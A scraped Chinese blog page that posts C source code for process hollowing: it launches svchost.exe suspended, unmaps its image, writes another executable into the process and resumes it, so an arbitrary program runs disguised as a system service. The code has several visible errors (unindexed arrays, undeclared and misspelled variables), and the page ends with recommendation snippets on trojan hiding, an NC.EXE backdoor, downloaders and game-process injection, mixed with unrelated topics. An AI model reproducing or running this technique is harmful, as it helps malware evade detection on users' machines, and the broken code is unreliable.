一个向别的进程插入dll的代码

逆向工程核心原理——代码注入 什么是代码注入? 代码注入是一种向目标进程插入独立运行代码并使之运行的技术,它一般调用CreateRemoteThread()API以远程线程形式运行插入的代码,所以也被称为线程注入。 使用代码注入的原因 其实,代码注入要实现的功能与DLL注入类似,但具体实施时要考虑的事项更多,使用起来 更加不便。那它的优点究竟是什么呢? 1.占用内存少 如果要注入的代码与数据较少,那么就不需要将它们做成DLL的形式再注入。此时直接采用 代码注入的方式同样能够获得与DLL注入相同的效果,且占用... 阅读详情
#include "stdafx.h"
#include "windows.h"
#include "tlhelp32.h"
#include "ntpsapi.h"

struct PE_Header
{
unsigned long signature;
unsigned short machine;
unsigned short numSections;
unsigned long timeDateStamp;
unsigned long pointerToSymbolTable;
unsigned long numOfSymbols;
unsigned short sizeOfOptionHeader;
unsigned short characteristics;
};

struct PE_ExtHeader
{
unsigned short magic;
unsigned char majorLinkerVersion;
unsigned char minorLinkerVersion;
unsigned long sizeOfCode;
unsigned long sizeOfInitializedData;
unsigned long sizeOfUninitializedData;
unsigned long addressOfEntryPoint;
unsigned long baseOfCode;
unsigned long baseOfData;
unsigned long imageBase;
unsigned long sectionAlignment;
unsigned long fileAlignment;
unsigned short majorOSVersion;
unsigned short minorOSVersion;
unsigned short majorImageVersion;
unsigned short minorImageVersion;
unsigned short majorSubsystemVersion;
unsigned short minorSubsystemVersion;
unsigned long reserved1;
unsigned long sizeOfImage;
unsigned long sizeOfHeaders;
unsigned long checksum;
unsigned short subsystem;
unsigned short DLLCharacteristics;
unsigned long sizeOfStackReserve;
unsigned long sizeOfStackCommit;
unsigned long sizeOfHeapReserve;
unsigned long sizeOfHeapCommit;
unsigned long loaderFlags;
unsigned long numberOfRVAAndSizes;
unsigned long exportTableAddress;
unsigned long exportTableSize;
unsigned long importTableAddress;
unsigned long importTableSize;
unsigned long resourceTableAddress;
unsigned long resourceTableSize;
unsigned long exceptionTableAddress;
unsigned long exceptionTableSize;
unsigned long certFilePointer;
unsigned long certTableSize;
unsigned long relocationTableAddress;
unsigned long relocationTableSize;
unsigned long debugDataAddress;
unsigned long debugDataSize;
unsigned long archDataAddress;
unsigned long archDataSize;
unsigned long globalPtrAddress;
unsigned long globalPtrSize;
unsigned long TLSTableAddress;
unsigned long TLSTableSize;
unsigned long loadConfigTableAddress;
unsigned long loadConfigTableSize;
unsigned long boundImportTableAddress;
unsigned long boundImportTableSize;
unsigned long importAddressTableAddress;
unsigned long importAddressTableSize;
unsigned long delayImportDescAddress;
unsigned long delayImportDescSize;
unsigned long COMHeaderAddress;
unsigned long COMHeaderSize;
unsigned long reserved2;
unsigned long reserved3;
};


struct SectionHeader
{
unsigned char sectionName[8];
unsigned long virtualSize;
unsigned long virtualAddress;
unsigned long sizeOfRawData;
unsigned long pointerToRawData;
unsigned long pointerToRelocations;
unsigned long pointerToLineNumbers;
unsigned short numberOfRelocations;
unsigned short numberOfLineNumbers;
unsigned long characteristics;
};

struct MZHeader
{
unsigned short signature;
unsigned short partPag;
unsigned short pageCnt;
unsigned short reloCnt;
unsigned short hdrSize;
unsigned short minMem;
unsigned short maxMem;
unsigned short reloSS;
unsigned short exeSP;
unsigned short chksum;
unsigned short exeIP;
unsigned short reloCS;
unsigned short tablOff;
unsigned short overlay;
unsigned char reserved[32];
unsigned long offsetToPE;
};


struct ImportDirEntry
{
DWORD importLookupTable;
DWORD timeDateStamp;
DWORD fowarderChain;
DWORD nameRVA;
DWORD importAddressTable;
};

struct FixupBlock
{
unsigned long pageRVA;
unsigned long blockSize;
};

#define TARGETPROC "svchost.exe" ;

typedef struct _PROCINFO
{
DWORD baseAddr;
DWORD imageSize;
} PROCINFO;

BOOL EXPD = False ;
CHAR *PID;

//**********************************************************************************************************
//
// This function reads the MZ, PE, PE extended and Section Headers from an EXE file.
//
//**********************************************************************************************************

bool readPEInfo(FILE *fp, MZHeader *outMZ, PE_Header *outPE, PE_ExtHeader *outpeXH,
      SectionHeader **outSecHdr)
{
fseek(fp, 0, SEEK_END);
long fileSize = ftell(fp);
fseek(fp, 0, SEEK_SET);

if(fileSize < sizeof(MZHeader))
{
  printf("File size too small/n"); 
  return false;
}

// read MZ Header
MZHeader mzH;
fread(&mzH, sizeof(MZHeader), 1, fp);

if(mzH.signature != 0x5a4d)  // MZ
{
  printf("File does not have MZ header/n");
  return false;
}

printf("Offset to PE Header = %X/n", mzH.offsetToPE);

if((unsigned long)fileSize < mzH.offsetToPE + sizeof(PE_Header))
{
  printf("File size too small/n"); 
  return false;
}

// read PE Header
fseek(fp, mzH.offsetToPE, SEEK_SET);
PE_Header peH;
fread(&peH, sizeof(PE_Header), 1, fp);

printf("Size of option header = %d/n", peH.sizeOfOptionHeader);
printf("Number of sections = %d/n", peH.numSections);

if(peH.sizeOfOptionHeader != sizeof(PE_ExtHeader))
{
  printf("Unexpected option header size./n");
 
  return false;
}

// read PE Ext Header
PE_ExtHeader peXH;

fread(&peXH, sizeof(PE_ExtHeader), 1, fp);

printf("Import table address = %X/n", peXH.importTableAddress);
printf("Import table size = %X/n", peXH.importTableSize);
printf("Import address table address = %X/n", peXH.importAddressTableAddress);
printf("Import address table size = %X/n", peXH.importAddressTableSize);


// read the sections
SectionHeader *secHdr = new SectionHeader[peH.numSections];

fread(secHdr, sizeof(SectionHeader) * peH.numSections, 1, fp);

*outMZ = mzH;
*outPE = peH;
*outpeXH = peXH;
*outSecHdr = secHdr;

return true;
}


//**********************************************************************************************************
//
// This function calculates the size required to load an EXE into memory with proper alignment.
//
//**********************************************************************************************************

int calcTotalImageSize(MZHeader *inMZ, PE_Header *inPE, PE_ExtHeader *inpeXH,
        SectionHeader *inSecHdr)
{
int result = 0;
int alignment = inpeXH->sectionAlignment;

if(inpeXH->sizeOfHeaders % alignment == 0)
  result += inpeXH->sizeOfHeaders;
else
{
  int val = inpeXH->sizeOfHeaders / alignment;
  val++;
  result += (val * alignment);
}


for(int i = 0; i < inPE->numSections; i++)
{
  if(inSecHdr.virtualSize)
  {
    if(inSecHdr.virtualSize % alignment == 0)
      result += inSecHdr.virtualSize;
    else
    {
      int val = inSecHdr.virtualSize / alignment;
      val++;
      result += (val * alignment);
    }
  }
}

return result;
}


//**********************************************************************************************************
//
// This function calculates the aligned size of a section
//
//**********************************************************************************************************

unsigned long getAlignedSize(unsigned long curSize, unsigned long alignment)
{ 
if(curSize % alignment == 0)
  return curSize;
else
{
  int val = curSize / alignment;
  val++;
  return (val * alignment);
}
}


//**********************************************************************************************************
//
// This function loads a PE file into memory with proper alignment.
// Enough memory must be allocated at ptrLoc.
//
//**********************************************************************************************************

bool loadPE(FILE *fp, MZHeader *inMZ, PE_Header *inPE, PE_ExtHeader *inpeXH,
    SectionHeader *inSecHdr, LPVOID ptrLoc)
{
char *outPtr = (char *)ptrLoc;

fseek(fp, 0, SEEK_SET);
unsigned long headerSize = inpeXH->sizeOfHeaders;

// certain PE files have sectionHeaderSize value > size of PE file itself.
// this loop handles this situation by find the section that is nearest to the
// PE header.

for(int i = 0; i < inPE->numSections; i++)
{
  if(inSecHdr.pointerToRawData < headerSize)
    headerSize = inSecHdr.pointerToRawData;
}

// read the PE header
unsigned long readSize = fread(outPtr, 1, headerSize, fp);
printf("HeaderSize = %d/n", headerSize);
if(readSize != headerSize)
{
  printf("Error reading headers (%d %d)/n", readSize, headerSize);
  return false; 
}

outPtr += getAlignedSize(inpeXH->sizeOfHeaders, inpeXH->sectionAlignment);

// read the sections
for(i = 0; i < inPE->numSections; i++)
{
  if(inSecHdr.sizeOfRawData > 0)
  {
    unsigned long toRead = inSecHdr.sizeOfRawData;
    if(toRead > inSecHdr.virtualSize)
      toRead = inSecHdr.virtualSize;

    fseek(fp, inSecHdr.pointerToRawData, SEEK_SET);
    readSize = fread(outPtr, 1, toRead, fp);

    if(readSize != toRead)
    {
      printf("Error reading section %d/n", i);
      return false;
    }
    outPtr += getAlignedSize(inSecHdr.virtualSize, inpeXH->sectionAlignment);
  }
  else
  {
    // this handles the case where the PE file has an empty section. E.g. UPX0 section
    // in UPXed files.

    if(inSecHdr.virtualSize)
      outPtr += getAlignedSize(inSecHdr.virtualSize, inpeXH->sectionAlignment);
  }
}

return true;
}





//**********************************************************************************************************
//
// This function loads a PE file into memory with proper alignment.
// Enough memory must be allocated at ptrLoc.
//
//**********************************************************************************************************

void doRelocation(MZHeader *inMZ, PE_Header *inPE, PE_ExtHeader *inpeXH,
        SectionHeader *inSecHdr, LPVOID ptrLoc, DWORD newBase)
{
if(inpeXH->relocationTableAddress && inpeXH->relocationTableSize)
{
  FixupBlock *fixBlk = (FixupBlock *)((char *)ptrLoc + inpeXH->relocationTableAddress);
  long delta = newBase - inpeXH->imageBase;

  while(fixBlk->blockSize)
  {
    printf("Addr = %X/n", fixBlk->pageRVA);
    printf("Size = %X/n", fixBlk->blockSize);

    int numEntries = (fixBlk->blockSize - sizeof(FixupBlock)) >> 1;
    printf("Num Entries = %d/n", numEntries);

    unsigned short *offsetPtr = (unsigned short *)(fixBlk + 1);

    for(int i = 0; i < numEntries; i++)
    {
      DWORD *codeLoc = (DWORD *)((char *)ptrLoc + fixBlk->pageRVA + (*offsetPtr & 0x0FFF));
     
      int relocType = (*offsetPtr & 0xF000) >> 12;
     
      printf("Val = %X/n", *offsetPtr);
      printf("Type = %X/n", relocType);

      if(relocType == 3)
        *codeLoc = ((DWORD)*codeLoc) + delta;
      else
      {
        printf("Unknown relocation type = %d/n", relocType);
      }
      offsetPtr++;
    }

    fixBlk = (FixupBlock *)offsetPtr;
  }
} 
}


//**********************************************************************************************************
//
// Creates the original EXE in suspended mode and returns its info in the PROCINFO structure.
//
//**********************************************************************************************************


 
 
BOOL createChild(PPROCESS_INFORMATION pi, PCONTEXT ctx, PROCINFO *outChildProcInfo)
{
STARTUPINFO si = {0};
if(!EXPD)
  {
if(CreateProcess(NULL, TARGETPROC,
        NULL, NULL, 0, CREATE_SUSPENDED, NULL, NULL, &si, pi)) 
{
  ctx->ContextFlags=CONTEXT_FULL;
  GetThreadContext(pi->hThread, ctx);

  DWORD *pebInfo = (DWORD *)ctx->Ebx;
  DWORD read;
  ReadProcessMemory(pi->hProcess, &pebInfo[2], (LPVOID)&(outChildProcInfo->baseAddr), sizeof(DWORD), &read);

  DWORD curAddr = outChildProcInfo->baseAddr;
  MEMORY_BASIC_INFORMATION memInfo;
  while(VirtualQueryEx(pi->hProcess, (LPVOID)curAddr, &memInfo, sizeof(memInfo)))
  {
    if(memInfo.State == MEM_FREE)
      break;
    curAddr += memInfo.RegionSize;
  }
  outChildProcInfo->imageSize = (DWORD)curAddr - (DWORD)outChildProcInfo->baseAddr;

  return TRUE;
}
} else
{
  DEBUG_EVENT DBEvent;
  if(DebugActiveProcess((DWORD)*PID))
  {
    WaitForDebugEvent(&DBEvent,INFINITE);
    pi->hThread=DBEvent.u.CreateProcessInfo.hThread;
    pi->hprocess=DBEvent.u.CreateProcessInfo.hProcess;
    ctx->ContextFlags=CONTEXT_FULL;
  GetThreadContext(pi->hThread, ctx);
  DWORD *pebInfo2 = (DWORD *)ctx->Fs;
  *pedInfo2+=0x30;
  DWORD read2;
  ReadProcessMemory(pi->hProcess, &pebInfo2[2], (LPVOID)&(outChildProcInfo2->baseAddr), sizeof(DWORD), &read2);

  DWORD curAddr2 = outChildProcInfo2->baseAddr;
  MEMORY_BASIC_INFORMATION memInfo2;
  while(VirtualQueryEx(pi->hProcess, (LPVOID)curAddr2, &memInfo2, sizeof(memInfo2)))
  {
    if(memInfo2.State == MEM_FREE)
      break;
    curAddr2+= memInfo2.RegionSize;
  }
  outChildProcInfo2->imageSize = (DWORD)curAddr2 - (DWORD)outChildProcInfo2->baseAddr;

  return TRUE;
  }
}

return FALSE;
}


//**********************************************************************************************************
//
// Returns true if the PE file has a relocation table
//
//**********************************************************************************************************

BOOL hasRelocationTable(PE_ExtHeader *inpeXH)
{
if(inpeXH->relocationTableAddress && inpeXH->relocationTableSize)
{
  return TRUE;
}
return FALSE;
}


typedef DWORD (WINAPI *PTRZwUnmapViewOfSection)(IN HANDLE ProcessHandle, IN PVOID BaseAddress);


//**********************************************************************************************************
//
// To replace the original EXE with another one we do the following.
// 1) Create the original EXE process in suspended mode.
// 2) Unmap the image of the original EXE.
// 3) Allocate memory at the baseaddress of the new EXE.
// 4) Load the new EXE image into the allocated memory.
// 5) Windows will do the necessary imports and load the required DLLs for us when we resume the suspended
//  thread.
//
// When the original EXE process is created in suspend mode, GetThreadContext returns these useful
// register values.
// EAX - process entry point
// EBX - points to PEB
//
// So before resuming the suspended thread, we need to set EAX of the context to the entry point of the
// new EXE.
//
//**********************************************************************************************************

void doFork(MZHeader *inMZ, PE_Header *inPE, PE_ExtHeader *inpeXH,
    SectionHeader *inSecHdr, LPVOID ptrLoc, DWORD imageSize)
{
STARTUPINFO si = {0};
PROCESS_INFORMATION pi;
CONTEXT ctx;
PROCINFO childInfo;

if(createChild(&pi, &ctx, &childInfo))
{ 
  printf("Original EXE loaded (PID = %d)./n", pi.dwProcessId);
  printf("Original Base Addr = %X, Size = %X/n", childInfo.baseAddr, childInfo.imageSize);
 
  LPVOID v = (LPVOID)NULL;
 
  if(inpeXH->imageBase == childInfo.baseAddr && imageSize <= childInfo.imageSize)
  {
    // if new EXE has same baseaddr and is its size is <= to the original EXE, just
    // overwrite it in memory
    v = (LPVOID)childInfo.baseAddr;
    DWORD oldProtect;
    VirtualProtectEx(pi.hProcess, (LPVOID)childInfo.baseAddr, childInfo.imageSize, PAGE_EXECUTE_READWRITE, &oldProtect);     
   
    printf("Using Existing Mem for New EXE at %X/n", (unsigned long)v);
  }
  else
  {
    // get address of ZwUnmapViewOfSection
    PTRZwUnmapViewOfSection pZwUnmapViewOfSection = (PTRZwUnmapViewOfSection)GetProcAddress(GetModuleHandle("ntdll.dll"), "ZwUnmapViewOfSection");

    // try to unmap the original EXE image
    if(pZwUnmapViewOfSection(pi.hProcess, (LPVOID)childInfo.baseAddr) == 0)
    {
      // allocate memory for the new EXE image at the prefered imagebase.
      v = VirtualAllocEx(pi.hProcess, (LPVOID)inpeXH->imageBase, imageSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
      if(v)
        printf("Unmapped and Allocated Mem for New EXE at %X/n", (unsigned long)v);
    }
  }

  if(!v && hasRelocationTable(inpeXH))
  {
    // if unmap failed but EXE is relocatable, then we try to load the EXE at another
    // location
    v = VirtualAllocEx(pi.hProcess, (void *)NULL, imageSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    if(v)
    {
      printf("Allocated Mem for New EXE at %X. EXE will be relocated./n", (unsigned long)v);

      // we've got to do the relocation ourself if we load the image at another
      // memory location     
      doRelocation(inMZ, inPE, inpeXH, inSecHdr, ptrLoc, (DWORD)v);
    }
  }

  printf("EIP = %X/n", ctx.Eip);
  printf("EAX = %X/n", ctx.Eax);
  printf("EBX = %X/n", ctx.Ebx);  // EBX points to PEB
  printf("ECX = %X/n", ctx.Ecx);
  printf("EDX = %X/n", ctx.Edx);
 
  if(v)
  {     
    printf("New EXE Image Size = %X/n", imageSize);
   
    // patch the EXE base addr in PEB (PEB + 8 holds process base addr)
    DWORD *pebInfo = (DWORD *)ctx.Ebx;
    DWORD wrote;         
    WriteProcessMemory(pi.hProcess, &pebInfo[2], &v, sizeof(DWORD), &wrote);

    // patch the base addr in the PE header of the EXE that we load ourselves
    PE_ExtHeader *peXH = (PE_ExtHeader *)((DWORD)inMZ->offsetToPE + sizeof(PE_Header) + (DWORD)ptrLoc);
    peXH->imageBase = (DWORD)v;
   
    if(WriteProcessMemory(pi.hProcess, v, ptrLoc, imageSize, NULL))
    { 
      printf("New EXE image injected into process./n");

      ctx.ContextFlags=CONTEXT_FULL;     
      //ctx.Eip = (DWORD)v + ((DWORD)dllLoaderWritePtr - (DWORD)ptrLoc);
     
      if((DWORD)v == childInfo.baseAddr)
      {
        ctx.Eax = (DWORD)inpeXH->imageBase + inpeXH->addressOfEntryPoint;  // eax holds new entry point
      }
      else
      {
        // in this case, the DLL was not loaded at the baseaddr, i.e. manual relocation was
        // performed.
        ctx.Eax = (DWORD)v + inpeXH->addressOfEntryPoint;  // eax holds new entry point
      }

      printf("********> EIP = %X/n", ctx.Eip);
      printf("********> EAX = %X/n", ctx.Eax);

      SetThreadContext(pi.hThread,&ctx);

      ResumeThread(pi.hThread);
      printf("Process resumed (PID = %d)./n", pi.dwProcessId);
    }
    else
    {
      printf("WriteProcessMemory failed/n");
      TerminateProcess(pi.hProcess, 0);
    }
  }
  else
  {
    printf("Load failed. Consider making this EXE relocatable./n");
    TerminateProcess(pi.hProcess, 0);
  }
}
else
{
  printf("Cannot load %s/n", TARGETPROC);
}
}




int main(int argc, char* argv[])
{
if((argc < 2 )||(argc > 3))
{
  printf("/nUsage: %s [pid]/n", argv[0]);
  return 1;
}
  if(argc==3){
  alloc(PID,1024);
  memset(PID,0,1024);
  strcpy(PID,argv[2]);
  EXPD= True ;
  }
 
FILE *fp = fopen(argv[1], "rb");
if(fp)
{
  MZHeader mzH;
  PE_Header peH;
  PE_ExtHeader peXH;
  SectionHeader *secHdr;

  if(readPEInfo(fp, &mzH, &peH, &peXH, &secHdr))
  {
    int imageSize = calcTotalImageSize(&mzH, &peH, &peXH, secHdr);
    printf("Image Size = %X/n", imageSize);

    LPVOID ptrLoc = VirtualAlloc(NULL, imageSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    if(ptrLoc)
    {
      printf("Memory allocated at %X/n", ptrLoc);
      loadPE(fp, &mzH, &peH, &peXH, secHdr, ptrLoc);                     
     
      doFork(&mzH, &peH, &peXH, secHdr, ptrLoc, imageSize);             
    }
    else
      printf("Allocation failed/n");
  }

  fclose(fp);
}
else
  printf("/nCannot open the EXE file!/n");

return 0;
}
 
古典黑客技术之HOOK API 古典黑客技术之HOOK APIHOOK API技术可以拦截、控制某些API函数的调用。当一个API函数被拦截之后,用户可以让目标程序执行事先准备好的代码。(比如说,构造的代码是过滤此API函数传入的参数的,而此API函数又是用来获取进程的,当此API被拦截之后,我们就可以让它转去执行过滤参数的代码。)PE文件的导入表HOOK API其实是对远程进程内存数据的修改,可以通过修改导入表中的导入函数地址表 阅读详情

相关推荐

第22章插入DLL和挂接API

第22章插入DLL和挂接API 在MicrosoftWindows中,每个进程都有它自己的私有地址空间。当使用指针来引用内存时,指针的值将引用你自己进程的地址空间中的一个内存地址。你的进程不能创建一个其引用属于另一个进程的内存指针。因此,如果你的进程存在一个错误,改写了一个随机地址上的内存,那么这个错误不会影响另一个进程使用的内存。 在Windows98下运行的各个进程共享2GB的地址空间

Lydia的博客 1902

一个向别的进程插入dll的代码收藏

#include "stdafx.h"#include "windows.h"#include "tlhelp32.h"#include "ntpsapi.h"struct PE_Header{unsigned long signature;unsigned short machine;unsigned short num

大浪淘沙的专栏 991

Detours学习之十三:Detours API用于将dll和有效负载插入新进程的api

用于将dll和有效负载插入新进程的api DetourCreateProcessWithDllEx DetourCreateProcessWithDlls DetourCopyPayloadToProcess DetourCopyPayloadToProcessEx DetourFinishHelperProcess DetourIsHelperProcess DetourRestoreAfterWith 一、DetourCreateProcessWithDllEx 创建一个新进程并将DLL

jyl_sh的专栏 3461

PE文件感染

最近学习了一下PE文件,看了份PE文件感染源码,分析了一下,其实就是修改进程,抛砖引玉 本来想把整个代码发下,但是太大了,只发函数的 #/////读取文件PE信息 BOOL readPEInfo(FILE* fp,MZHeader* outMZ,PE_Header* outPE,PE_ExtHeader* outpeXH,SectionHeader** outSecHdr) {

magedhenary的专栏 1178

把dll模块注入到游戏进程的方法_插APC注入

APC是异步过程调用,系统创建线程的时候会为线程创建一个APC队列,当线程调用SleepEx,WaitSingleObjectEx等函数时,并把线程状态被设置为可提醒状态时,线程并不会睡眠,而是检查APC队列是否为空,如果不为空,转去执行APC队列中的每一项,因此给目标进程中的线程插入APC,就可以实现进程注入。

douluo998的博客 1174

动态库dll与静态库lib编程5:进程注入技术

动态库dll与静态库lib编程5:进程注入技术。

qq_59940419的博客 1806

最基础的插入进程代码

//获得进程句柄 HWND hwnd=::FindWindow(NULL,"计算器"); if(!hwnd) {  AfxMessageBox("请打开计算器");  return; }  //取得进程句柄和进程ID DWORD Process,ProcessId; Process=::GetWindowThreadProcessId(hwnd,&ProcessId);  //利用进程句柄

低调’s Blog 716

【MIT-BEVFusion代码解读】第四篇:融合特征fuser和解码特征decoder

的大小,实际上源代码也是这么做的。最后将得到两个分支的特征进行。,第一个特征使用卷积降低通道数即可,第二个则需要反卷积来提升。所以backbone只有两个分支,都是5个卷积模块组成。的长和宽都减半至90,然后在经过5个相同的。将通道降至128,后面再接5个相同的。,将通道数128上至256,并且将。特征进行融合,这里使用的。部分由两部分组成,分别是。,这个分支首先经过第一个。,然后再卷积得到 =>提取特征,最后得到特征。得到了两个大小不同的。

非晚非晚的博客 2971

NB的内存加载exe文件

原理: 1. 把你的程序读要内存 2. 以 CREATE_SUSPENDED模式CreateProcess打开svchost.exe 3. 修改svchost.exe页面的属性,然后把要运行的那个程序的内容拷贝到svchost.exe页面 4. 然后再运行 实质想当于是 披着/svchost.exe进程的相关信息/这张皮,而皮里面的肉都被改了 原文来自哪里忘记了,。呵呵 // #in

木休的斋堂 1993

嵌入式学习之QT学习---14 QT跨平台运行之把QT程序交叉编译到ARM开发板

想要把qt工程放到开发板上运行,就需要用到交叉编译。由于qt是跨平台的,所以只需要换个编译器编译一下就可以。 以“定时器”的例子为例,在移植之前还需要进行一个准备工作,在windows下运行的时候,电脑屏幕很大,但是运行的窗口只有一点点大,开发板也有外接屏幕,如何让运行窗口自动适配开发板的外接屏幕呢?令其占满屏幕显示,而不是一小块。 第一步:需要设置一下,先给ui布局,如果不布局,控件就不会随着屏幕的大小的变化而变化。 第二步:利用代码来获取屏幕的大小,给widget.cpp文件下添加如下代码 #inclu

qq_42822743的博客 5462

使用 ArxivLoader 从 arXiv 加载学术文献并实现高效文档处理

arXiv是一个开放获取的学术存储平台,涵盖了物理、数学、计算机科学等多个领域的 200 万篇学术论文。这些文献中包含了如逻辑推理、机器学习等热门领域的最新研究进展。通过使用 ArxivLoader,我们可以轻松地搜索和加载 arXiv 上的学术文献,并将其转换为文本以供分析或应用于下游任务,例如问答系统、摘要生成或知识图谱构建。有时我们并不需要完整的文献内容,而是只需要摘要用于快速预览。可以使用 get_summaries_as_docs()# 获取文献摘要# 查看第一篇摘要。

hgSdaegva的博客 890

一个向别的进程插入dll的代码 .

--------- Functions in C --------------- CONTEXT OriginalContext; //Get/SetThreadContext's parameter char OriginalCodePage[4096]; DWORD sizeofCP=0; VOID* mySec; //my section...Offset of Code

或许 562

【第三只眼:Oracle通过归档日志查看系统的业务高峰sql】

根据oracle归档的业务高峰量,查找业务sql,进行优化

霍然的专栏 583

NC.EXE结合线程插入技术做的一个后门

LOOK         这是我写一文章,把NC.EXE结合线程插入技术做的一个后门,,,     你看看吧         不知道大家用过ncx99.exe没有,这个小工具很有用,运行后,它BIND到一个端口,并接管cmd.exe的输入输出,使得远程用户得到一个SHELL来实现各种操作,不需要特别的客户端,只要用WINDOWS自带的TELNET客户端就可以了。     下面我给出

lionzl的专栏 1001

《AFSim 2.9中文参考手册》

本栏目将对《AFSim 2.9中文参考手册》进行持续更新,欢迎关注交流!对本文或者AFSIM相关内容感兴趣的朋友,可私心联系作者。《AFSim 2.9中文参考手册》内容概览。

henggesim的博客 1万+

电商平台大数据分析指标

一、五大关键数据分析指标 1.1活跃用户量 活跃用户量是一个基本的指标,有 DAU(日活跃用户)、WAU(周活跃用户)和 MAU(月活跃用户)三个层次; 1.2转化 转化是一个非常重要的指标,电商运营需要关注主路径、次路径甚至精细到每一个品类 / SKU 的转化率; 1.3留存 留存要从不同的时间周期上研究,包括次日留存率、3 日、7 日、30 日留存; 1.4复购 复购则要从 3 个角度去看,复购用户量、复购率和复购金额比; 1.5GMV GMV 是最重要的指标,我们的运营最终是围绕这

默主归沙的博客 4822

无Dll插入进程,下载者VC源代码

 http://hi.baidu.com/core22/blog/item/f5399d23c1f9bb40ac34de73.html 无Dll插入进程,下载者VC源代码2007-12-30 15:29     生成MiNI下载者,则需要自己做一个工具了.读懂代码,把相应的部份加密即可.参考delphi版本的下载者源代码,编出来有16K左右。压缩也有10K多

Richard的专栏 1589

中国区ASP服务性规范考试

10、每次现场维护服务,工程师需按照400要求达到现场的时间与客户联系,在抵达现场、故障恢复后两个时间点分别向400报CALL ,如与客户联系变更到现场时间点,也需向400电话备案(400-822-9999)……20、工程师小B 在接到客户故障申报后赶到客户现场,发现问题无法解决,于是及时将情况反馈至技术支持响应工程师小C ,小B 就和小C 协商由小C 远程解决此问题,后小B 离开客户现场。18、小L 到客户现场交付安装服务。6、EPMS 中上载初验证书的命名规则为:合同号+初验的客户签署日期……

2301_76197693的博客 1923

木马隐藏技术(3) -- 进程注入

此为《木马技术揭秘与防御》系列读书笔记 进程注入prerequirement 类似的说法: 线程插入、DLL注入、远程线程插入 线程插入: 让一个线程在别的进程中执行 DLL文件隐藏的原理: dll文件不能单独运行,需要由进程(宿主)加载并调用。因为不能单独运行,dll文件就不会在进程管理器中出现,于是入侵检测软件和进程列表中都只有宿主进程的id,而找不到dll。 进程注...

weixin_30511107的博客 705

4.Simulink基础建模操作——加减乘除运算

加减乘除运算

FPGA/MATLAB学习教程/源码/项目合作开发 9557

pscad IEEE标准系统搭建说明

pscad IEEE标准系统搭建说明,包含典型的IEEE 9节点、14节点、30节点、39节点和118节点系统。内含标准测试系统的原始数据和潮流结果。

NT环境下进程隐藏的实现

 在NT环境下隐藏进程,也就是说在用户不知情的条件下,执行自己的代码的方法有很多种,比如说使用注册表插入DLL,使用Windows挂钩等等。其中比较有代表性的是Jeffrey Richer在《Windows核心编程》中介绍的LoadLibrary方法和罗云彬在《windows环境下32位汇编语言程序设计》中介绍的方法。两种方法的共同特点是:都采用远程线程,让自己的代码作为宿主进程的线程在宿主进程的

227

ssm框架搭建

这个是一个在idea上成功跑起来的ssm框架项目,保存在这里方便以后使用直接下载

用DLL控制Windows中进程的方法

在Microsoft Windows中,每个进程都有它自己的私有地址空间。当使用指针来引用内存时,指针的值将引用你自己进程的地址空间中的一个内存地址。你的进程不能创建一銎湟用属于另一个进程的内存指针。因此,如果你的进程存在一个错误,改写了一个随机地址系内存,那么这个错误不会影响另一个进程使用的内存。Windows 98 在Windows 98下运行的各个进程共享2 GB的地址空间,该地址空间从0x

cnim549405865的专栏 712

jre9下载 jdk9

(Java SE Runtime Environment 9.0) 9.0u175 官方最新版 【x86|x64】

深度学习工具包 DeepLearningToolbox

深度学习工具包Deprecation notice.-----This toolbox is outdated and no longer maintained.There are much better tools available for deep learning than this toolbox, e.g. [Theano](http://deeplearning.net/software/theano/), [torch](http://torch.ch/) or [tensorflow](http://www.tensorflow.org/)I would suggest you use one of the tools mentioned above rather than use this toolbox.Best, Rasmus.DeepLearnToolbox================A Matlab toolbox for Deep Learning.Deep Learning is a new subfield of machine learning that focuses on learning deep hierarchical models of data.It is inspired by the human brain's apparent deep (layered, hierarchical) architecture.A good overview of the theory of Deep Learning theory is[Learning Deep Architectures for AI](http://www.iro.umontreal.ca/~bengioy/papers/ftml_book.pdf)For a more informal introduction, see the following videos by Geoffrey Hinton and Andrew Ng.* [The Next Generation of Neural Networks](http://www.youtube.com/watch?v=AyzOUbkUf3M) (Hinton, 2007)* [Recent Developments in Deep Learning](http://www.youtube.com/watch?v=VdIURAu1-aU) (Hinton, 2010)* [Unsupervised Feature Learning and Deep Learning](http://www.youtube.com/watch?v=ZmNOAtZIgIk) (Ng, 2011)If you use this toolbox in your research please cite [Prediction as a candidate for learning deep hierarchical models of data](http://www2.imm.dtu.dk/pubdb/views/publication_details.php?id=6284)```@MASTERSTHESIS\{IMM2012-06284, author = "R. B. Palm", title = "Prediction as a candidate for learning deep hierarchical models of data", year = "2012",}```Contact: rasmusbergpalm at gmail dot comDirectories included in the toolbox-----------------------------------`NN/` - A library for Feedforward Backpropagation Neural Networks`CNN/` - A library for Convolutional Neural Networks`DBN/` - A library for Deep Belief Networks`SAE/` - A library for Stacked Auto-Encoders`CAE/` - A library for Convolutional Auto-Encoders`util/` - Utility functions used by the libraries`data/` - Data used by the examples`tests/` - unit tests to verify toolbox is workingFor references on each library check REFS.mdSetup-----1. Download.2. addpath(genpath('DeepLearnToolbox'));Example: Deep Belief Network---------------------```matlabfunction test_example_DBNload mnist_uint8;train_x = double(train_x) / 255;test_x = double(test_x) / 255;train_y = double(train_y);test_y = double(test_y);%% ex1 train a 100 hidden unit RBM and visualize its weightsrand('state',0)dbn.sizes = [100];opts.numepochs = 1;opts.batchsize = 100;opts.momentum = 0;opts.alpha = 1;dbn = dbnsetup(dbn, train_x, opts);dbn = dbntrain(dbn, train_x, opts);figure; visualize(dbn.rbm{1}.W'); % Visualize the RBM weights%% ex2 train a 100-100 hidden unit DBN and use its weights to initialize a NNrand('state',0)%train dbndbn.sizes = [100 100];opts.numepochs = 1;opts.batchsize = 100;opts.momentum = 0;opts.alpha = 1;dbn = dbnsetup(dbn, train_x, opts);dbn = dbntrain(dbn, train_x, opts);%unfold dbn to nnnn = dbnunfoldtonn(dbn, 10);nn.activation_function = 'sigm';%train nnopts.numepochs = 1;opts.batchsize = 100;nn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.10, 'Too big error');```Example: Stacked Auto-Encoders---------------------```matlabfunction test_example_SAEload mnist_uint8;train_x = double(train_x)/255;test_x = double(test_x)/255;train_y = double(train_y);test_y = double(test_y);%% ex1 train a 100 hidden unit SDAE and use it to initialize a FFNN% Setup and train a stacked denoising autoencoder (SDAE)rand('state',0)sae = 